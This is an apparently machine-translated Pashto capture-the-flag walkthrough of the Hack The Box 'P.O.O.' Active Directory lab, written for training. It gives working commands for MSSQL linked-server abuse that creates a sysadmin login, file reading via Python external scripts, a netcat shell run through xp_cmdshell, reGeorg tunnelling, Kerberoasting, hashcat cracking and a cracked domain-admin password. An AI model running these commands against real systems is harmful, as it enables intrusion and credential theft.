پدې مقاله کې ، موږ به نه یوازې د ماشین تیریدل تحلیل کړو ، بلکه د سایټ څخه یو بشپړ منی لابراتوار
لکه څنګه چې په تفصیل کې ویل شوي، POO د کوچني فعال لارښود چاپیریال کې د بریدونو په ټولو مرحلو کې د مهارتونو ازموینې لپاره ډیزاین شوی. موخه دا ده چې د لاسرسي وړ کوربه سره موافقت وکړي، امتیازات زیات کړي، او په نهایت کې د 5 بیرغونو راټولولو په وخت کې د ټول ډومین سره موافقت وکړي.
لابراتوار سره اړیکه د VPN له لارې ده. دا سپارښتنه کیږي چې د کاري کمپیوټر یا کوربه څخه چیرې چې ستاسو لپاره مهم معلومات شتون نلري اړیکه ونیسئ ، ځکه چې تاسو په شخصي شبکه کې د خلکو سره پای ته رسئ چې د معلوماتو امنیت په برخه کې یو څه پوهیږي :)
سازماني معلومات
د دې لپاره چې تاسو سره د نوي مقالو، سافټویر، او نورو معلوماتو سره تازه پاتې شئ، ما جوړ کړی دی
ټول معلومات یوازې د تعلیمي موخو لپاره وړاندې کیږي. د دې سند لیکوال د دې سند د مطالعې څخه ترلاسه شوي پوهه او تخنیکونو کارولو په پایله کې هیچا ته د زیان رسولو مسؤلیت نه مني.
سریزه
دا پای لوبه دوه ماشینونه لري، او 5 بیرغونه لري.
د موجود کوربه توضیحات او پته هم ورکړل شوې.
راځه چي پیل یی کړو!
د بیارغونې بیرغ
دا ماشین د 10.13.38.11 IP پته لري، کوم چې زه /etc/hosts ته اضافه کوم.
10.13.38.11 poo.htb
لومړی ګام د خلاص بندرونو سکین کول دي. څرنګه چې دا د nmap سره د ټولو بندرونو سکین کولو لپاره ډیر وخت نیسي، زه به لومړی دا د masscan سره وکړم. موږ ټول TCP او UDP بندرونه په 0pps کې د tun500 انٹرفیس څخه سکین کوو.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
اوس، د هغو خدماتو په اړه نور تفصيلي معلومات ترلاسه کولو لپاره چې په بندرونو کې پرمخ ځي، راځئ چې د -A اختیار سره سکین وکړو.
nmap -A poo.htb -p80,1433
نو موږ د IIS او MSSQL خدمتونه لرو. په دې حالت کې، موږ به د ډومین او کمپیوټر اصلي DNS نوم ومومئ. په ویب سرور کې موږ ته د IIS کور پاڼې لخوا ښه راغلاست ویل کیږي.
راځئ چې د لارښوونو له لارې لاړ شو. زه د دې لپاره ګوبستر کاروم. په پیرامیټونو کې موږ د تارونو شمیر 128 (-t)، یو آر ایل (-u)، لغت (-w) او توسیعونه په ګوته کوو چې زموږ سره علاقه لري (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
په دې توګه، موږ د /admin لارښود لپاره د HTTP تصدیق لرو، او همدارنګه د .DS_Store ډیسټاپ خدمت ذخیره فایل شتون لري. DS_Store هغه فایلونه دي چې د فولډر لپاره د کاروونکي ترتیبات ذخیره کوي، لکه د فایلونو لیست، د آئیکون موقعیت، غوره شوي شالید انځور. دا ډول فایل ممکن د ویب پراختیا کونکو ویب سرور لارښود کې پای ته ورسیږي. پدې توګه ، موږ د لارښود مینځپانګې په اړه معلومات ترلاسه کوو. د دې لپاره تاسو کارولی شئ
python3 dsstore_crawler.py -i http://poo.htb/
موږ د لارښود محتويات ترلاسه کوو. دلته ترټولو په زړه پورې شی د /dev ډایرکټر دی ، له کوم څخه چې موږ کولی شو سرچینې او db فایلونه په دوه څانګو کې وګورو. مګر موږ کولی شو د فایل او لارښود نومونو لومړني 6 حروف وکاروو که چیرې خدمت د IIS لنډ نوم لپاره زیان منونکي وي. تاسو کولی شئ د دې زیان مننې په کارولو سره وګورئ
او موږ یو متن فایل پیدا کوو چې د "poo_co" سره پیل کیږي. نه پوهیږم چې بیا څه وکړم ، ما په ساده ډول د لارښود قاموس څخه د "co" سره پیل شوي ټول ټکي غوره کړل.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
او موږ به یې د wfuzz په کارولو سره تنظیم کړو.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
او سمه کلمه ومومئ! موږ دا فایل ګورو، اسناد خوندي کوو (د DBNAME پیرامیټر لخوا قضاوت کول، دوی د MSSQL څخه دي).
موږ بیرغ تسلیم کوو او موږ 20٪ پرمختګ کوو.
هو بیرغ
موږ د MSSQL سره نښلول، زه DBeaver کاروم.
موږ پدې ډیټابیس کې په زړه پوري هیڅ ونه موندلو ، راځئ چې د SQL ایډیټر رامینځته کړو او وګورو چې کوم کارونکي شتون لري.
SELECT name FROM master..syslogins;
موږ دوه کاروونکي لرو. راځئ چې خپل امتیازات وګورو.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
په دې توګه، هیڅ امتیازات شتون نلري. راځئ چې تړل شوي سرورونه وګورو، ما د دې تخنیک په اړه په تفصیل سره لیکلي
SELECT * FROM master..sysservers;
نو موږ بل SQL سرور پیدا کوو. راځئ چې د openquery() په کارولو سره پدې سرور کې د کمانډونو اجرا وګورو.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
او موږ حتی کولی شو د پوښتنې ونې جوړ کړو.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
ټکی دا دی چې کله موږ یو تړل شوي سرور ته غوښتنه کوو، غوښتنه د بل کارونکي په شرایطو کې اجرا کیږي! راځئ چې د کوم کارونکي په شرایطو کې وګورو چې موږ په تړل شوي سرور کې کار کوو.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
اوس راځئ وګورو چې په کوم شرایطو کې زموږ له تړل شوي سرور څخه غوښتنه شوې!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
په دې توګه، دا د DBO شرایط دی چې باید ټول امتیازات ولري. راځئ چې د تړل شوي سرور څخه د غوښتنې په صورت کې امتیازات وګورو.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
لکه څنګه چې تاسو لیدلی شئ، موږ ټول امتیازات لرو! راځی چی داسی خپل اډمین جوړ کړو. مګر دوی دا د خلاصې پوښتنې له لارې اجازه نه ورکوي، راځئ چې دا د EXECUTE AT له لارې ترسره کړو.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
او اوس موږ د نوي کارونکي اعتبار سره اړیکه ونیسو، موږ د نوي پرچم ډیټابیس څارنه کوو.
موږ دا بیرغ په لاس کې ورکړو او نور ځو.
د بیک ټریک بیرغ
راځئ چې د MSSQL په کارولو سره شیل ترلاسه کړو ، زه د امپیکټ کڅوړې څخه mssqlclient کاروم.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
موږ اړتیا لرو چې پاسورډونه ترلاسه کړو، او لومړی شی چې موږ ورسره مخ شوي یو ویب پاڼه ده. په دې توګه، موږ د ویب سرور ترتیب ته اړتیا لرو (دا ممکنه نده چې یو مناسب شیل پریږدو، په ښکاره ډول د فایر وال چلیږي).
مګر لاسرسی منع دی. که څه هم موږ د MSSQL څخه فایل لوستلی شو، موږ یوازې اړتیا لرو پوه شو چې د پروګرام کولو ژبې کومې ترتیب شوي دي. او په MSSQL ډایرکټر کې موږ پوهیږو چې Python شتون لري.
بیا د web.config فایل لوستلو کې کومه ستونزه نشته.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
د موندل شوي اسنادو سره، /admin ته لاړ شئ او بیرغ واخلئ.
د پښو ټینګ بیرغ
په حقیقت کې ، د فایر وال کارولو څخه ځینې ستونزې شتون لري ، مګر د شبکې تنظیماتو ته په کتلو سره ، موږ ګورو چې IPv6 هم کارول کیږي!
راځئ چې دا پته په /etc/hosts کې اضافه کړو.
dead:babe::1001 poo6.htb
راځئ چې کوربه بیا سکین کړو، مګر دا ځل په IPv6 کې.
او د WinRM خدمت په IPv6 کې شتون لري. راځئ چې د موندل شوي اسنادو سره اړیکه ونیسو.
په ډیسټاپ کې یو بیرغ دی، موږ یې وسپارو.
P00 شوی بیرغ
د کوربه په کارولو سره د څارنې ترسره کولو وروسته
setspn.exe -T intranet.poo -Q */*
راځئ چې د MSSQL له لارې کمانډ اجرا کړو.
په دې توګه، موږ د کاروونکو SPN ترلاسه کوو p00_hr او p00_adm، دا پدې مانا ده چې دوی د برید لپاره زیان منونکي دي لکه کربروسټینګ. په لنډه توګه، موږ کولی شو د دوی پاسورډونه ترلاسه کړو.
لومړی تاسو اړتیا لرئ د MSSQL کارونکي په توګه مستحکم شیل ترلاسه کړئ. مګر څنګه چې موږ په لاسرسي کې محدود یو، موږ یوازې د 80 او 1433 بندرونو له لارې کوربه سره اړیکه لرو. مګر دا ممکنه ده چې د 80 بندر له لارې ترافیک تونل کړئ! د دې لپاره موږ به وکاروو
مګر کله چې موږ دې ته د لاسرسي هڅه کوو، موږ 404 تېروتنه ترلاسه کوو، دا پدې مانا ده چې د *.aspx فایلونه ندي اجرا شوي. د دې تمدیدونو سره د فایلونو اجرا کولو لپاره ، په لاندې ډول ASP.NET 4.5 نصب کړئ.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
او اوس، کله چې موږ tunnel.aspx ته لاسرسی لرو، موږ یو ځواب ترلاسه کوو چې هر څه د تګ لپاره چمتو دي.
راځئ چې د غوښتنلیک د پیرودونکي برخه پیل کړو، کوم چې به ټرافيک ریلي کړي. موږ به ټول ټرافیک د 5432 بندر څخه سرور ته ولیږو.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
او موږ د خپل پراکسي له لارې د هر غوښتنلیک ترافیک لیږلو لپاره پراکسي چینونه کاروو. راځئ چې دا پراکسي د ترتیب کولو فایل ته اضافه کړو /etc/proxychains.conf.
اوس راځئ چې برنامه سرور ته اپلوډ کړو
اوس موږ د MSSQL له لارې اوریدونکی پیل کوو.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
او موږ د خپل پراکسي له لارې وصل شو.
proxychains rlwrap nc poo.htb 4321
او اجازه راکړئ چې هش ترلاسه کړو.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
بیا تاسو اړتیا لرئ په دې هشونو باندې تکرار کړئ. څرنګه چې د راکیو قاموس دا پاسورډونه نه درلودل، ما په سیکلیسټ کې چمتو شوي ټول پاسورډ لغتونه کارولي. د لټون لپاره موږ hashcat کاروو.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
او موږ دواړه پاسورډونه پیدا کوو، لومړی یې په لغت کې Dutch_passwordlist.txt، او دوهم یې په Keyboard-Combinations.txt کې.
او نو موږ درې کاروونکي لرو، راځئ چې د ډومین کنټرولر ته لاړ شو. راځئ لومړی د هغه ادرس معلوم کړو.
ښه، موږ د ډومین کنټرولر IP پته وموندله. راځئ چې د ډومین ټول کاروونکي ومومئ، او همدارنګه د دوی څخه کوم یو مدیر دی. د معلوماتو ترلاسه کولو لپاره سکریپټ ډاونلوډ کولو لپاره PowerView.ps1. بیا به موږ د بری - وینرم په کارولو سره وصل کړو ، د -s پیرامیټر کې د سکریپټ سره لارښود مشخص کړو. او بیا به موږ یوازې د پاور ویو سکریپټ پورته کړو.
اوس موږ د هغې ټولو دندو ته لاسرسی لرو. د p00_adm کاروونکي د یو امتیاز لرونکي کارونکي په څیر ښکاري، نو موږ به د هغه په شرایطو کې کار وکړو. راځئ چې د دې کارونکي لپاره PSC کریډینشل اعتراض جوړ کړو.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
اوس د پاورشیل ټول حکمونه چیرې چې موږ کریډونه مشخص کوو د p00_adm په استازیتوب به اجرا شي. راځئ چې د کاروونکو لیست او د AdminCount خاصیت وښیو.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
او په دې توګه، زموږ کاروونکي واقعیا امتیاز لري. راځئ وګورو چې هغه په کومو ډلو کې دی.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
موږ په پای کې تایید کوو چې کارن د ډومین مدیر دی. دا هغه ته دا حق ورکوي چې د ډومین کنټرولر ته په لیرې توګه لاګ ان شي. راځئ چې زموږ د تونل په کارولو سره د WinRM له لارې د ننوتلو هڅه وکړو. زه د ری جیورګ لخوا رامینځته شوي غلطیو سره مغشوش وم کله چې د بری - وینرم کارولو.
بیا راځئ چې یو بل، اسانه وکاروو،
موږ د نښلولو هڅه کوو، او موږ په سیسټم کې یو.
خو بیرغ نشته. بیا کارن ته وګورئ او ډیسټاپونه وګورئ.
په mr3ks کې موږ بیرغ وموند او لابراتوار 100٪ بشپړ شوی.
بس نور څه نه. د فیډبیک په توګه، مهرباني وکړئ تبصره وکړئ چې ایا تاسو له دې مقالې څخه څه نوي زده کړل او ایا دا ستاسو لپاره ګټور و.
تاسو کولی شئ له موږ سره یوځای شئ
سرچینه: www.habr.com